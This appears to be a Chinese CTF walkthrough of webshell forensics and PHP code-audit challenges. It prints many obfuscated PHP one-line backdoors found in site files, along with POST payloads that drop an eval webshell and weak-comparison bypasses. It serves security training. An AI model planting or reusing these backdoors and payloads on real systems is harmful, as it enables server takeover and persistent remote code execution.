X者学院-代码审计类型通关

WebShell代码分析溯源

第1题

下载网站源代码,查看后发现在 cn-right.php 文件中存在恶意代码:

<?php
error_reporting(0);
$_GET['POST']($_POST['GET']);
?>

参考了这篇文章:那些强悍的PHP一句话后门 后,执行代码生成一句话脚本,连上后拿下过关flag。

url: http://xxx.xxx.xxx.xxx/cn-right.php?POST=assert

post data: GET=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}

后面朋友告知可以直接连,好尴尬:

第二题

依然下载网页代码,打开后发现首页存在可疑代码:

<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?>

和第一题差不多,先写入一句话脚本然后连接上去后,找到flag文件。

url: http://xxx.xxx.xxx.xxx/www/index.php

post data: assert=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}

第三题

下载源码后查找所有PHP后缀文件:

$ ag -g . --php
index.php
js/jquery1.42.min.php
includes/class-IXR-clientmulticall.php
includes/class-IXR-date.php
includes/class-IXR-client.php
includes/class-IXR-base64.php

发现 js 文件夹内存在一个可疑的 php 文件,内容:

<?php
error_reporting(0);
$g = array('','s');
$gg = a.$g[1].ser.chr('116'); // 字符串拼接 assert
@$gg($_POST[get]);
?>

直接连地址 http://xxx.xxx.xxx.xxx/www/js/jquery1.42.min.php ,密码填写 get,拿到flag文件。

第四题

下载源代码后,在 hack 文件夹内发现可疑代码:

<?php
error_reporting(0);
$e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($arr,base64_decode($e));
?>

需要get参数配合才能连接,连地址 http://xxx.xxx.xxx.xxx/www/hack/bin.php?e=YXNzZXJ0 ,密码填写 POST,拿到flag文件。

第五题

下载源码后查看至 Exception.php 文件首行发现异常:

<?php
error_reporting(0);
call_user_func('assert', $_REQUEST['assert']);

// ............

直接连地址 http://xxx.xxx.xxx.xxx/www/Exception.php ,密码填写 assert,拿到flag文件。

第六题

下载源码后查看目录,发现 Assets/upload/pic3.jpg.php 文件存在异常:

<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['POST'],);
array_map(base64_decode($e), $arr);
?>

直接连地址 http://xxx.xxx.xxx.xxx/www/Assets/upload/pic3.jpg.php?e=YXNzZXJ0 ,密码填写 POST,拿到flag文件。

第七题

下载源码查看文件,浏览至 random_int.php 文件发现首部异常:

<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['POST']);
uasort($arr, base64_decode($e));

// ..........

直接连地址 http://xxx.xxx.xxx.xxx/www/random_int.php?e=YXNzZXJ0 ,密码填写 POST,拿到flag文件。

还可以同样连接 random.php 这个文件,因为在 random.php 中函数不存在会去 require_once random_int.php 文件。

第八题

下载源码代码后,根据黑页日期找到同日期的修改文件:

class-wp-rest-comment-meta-style.php 文件存在可疑代码:

<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

这里看到 $arr 数组2中含有正则的e符,直接用 preg_replace 函数配合e模式连接 http://xxx.xxx.xxx.xxx/www/fields/class-wp-rest-comment-meta-style.php?e=preg_replace,输入密码 pass 拿到flag文件。

第九题

下载源码后定位到 pomo/no.php 文件内存在异常代码:

<?php
error_reporting(0);
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['REQUEST']);

register_shutdown_function 函数,用于注册一个会在php中止时执行的函数,是在脚本执行完成或提前退出时被调用。

连接地址 http://xxx.xxx.xxx.xxx/www/pomo/no.php?e=assert,输入密码 pass 拿到flag文件。

第十题

下载源码后定位到 hack/static/css.php 文件内存在异常代码:

<?php
error_reporting(0);
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['GET']);
?>

与上题一样,连接地址 http://xxx.xxx.xxx.xxx/www/hack/static/css.php?e=assert,输入密码 GET 拿到flag文件。

第十一题

下载PHP脚本分析里面的代码:

<?php if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){$_=@fopen('t.php', 'a');@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));@\$_(\$_POST[1]);?>");@fclose($_);}?>
  • $_GET[1]=='GET.fPZ87' 时,会向 t.php 写入 webshell
<?php $_ = str_replace('ilo', 'ass', str_replace('vey', 'ert', $_GET[2]));@$_($_POST[1]);

这里会将接收的 $_GET[2] 参数字符串成 assert,所以最终连接地址:http://xxx.xxx.xxx.xxx/include/t.php?2=ilovey,输入密码 1 拿到KEY.txt文件。

PHP代码分析溯源

第一题

页面直接显示了一段代码:

<?php @$_++;
$__  = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");${$__}[!$_](${$___}[$_]);

我们先将它还原成正常代码。

<?php
$_GET[!1]($_POST[1]);

很明显的一句话脚本,可是连接的时候依然报 500 错误,为什么呢?因为在 PHP 语法中,数组就没有 [!1] 这种东西。

将他看作成一个变量,也就是 0,最终连接地址 http://xxx.xxx.xxx.xxx/b.php,输入密码 1 拿到flag文件。

第二题

下载网页源代码,代码里面用的是 PHP 弱类型比较提交参数 MD5 值,直接百度一个明文转 MD5 后是 0eXXXXXXXX 开头的字符串提交即可拿到flag。

第三题

代码看起来和上一题差不多:

<?php
error_reporting(0);
 function noother_says_correct($number)
 {
     $one = ord('1');
     $nine = ord('9');
     for ($i = 0; $i < strlen($number); $i++)
     {
         $digit = ord($number{$i});
         if ( ($digit >= $one) && ($digit <= $nine) )
         {
             return false;
         }
     }
     return $number == '54975581388';
 }
if(noother_says_correct($_POST['pass'])){
    /**
    此处省略
     **/
} else{
    echo '<script>alert(\'认证错误\');window.location.href=\'/index.html\';</script>';
}
?>

这里的 noother_says_correct() 函数用于验证提交参数规则,及弱类型参数比较是否正确。

  • 循环接收参数,依次取出每个字符的 ASCII 码,验证是否在1-9之间
  • 弱类型比较是否等于 54975581388

这个有个 PHP 的特性,当字符串在与数字比较时会自动转换为数字,而字符串是0x开头时会将此字符串解析成为十进制。这就需要我们提交的参数是一个 16 进制数了。

$ php -r 'echo "0x".dechex(54975581388);'
0xccccccccc

所以直接提交 0xccccccccc 拿到flag。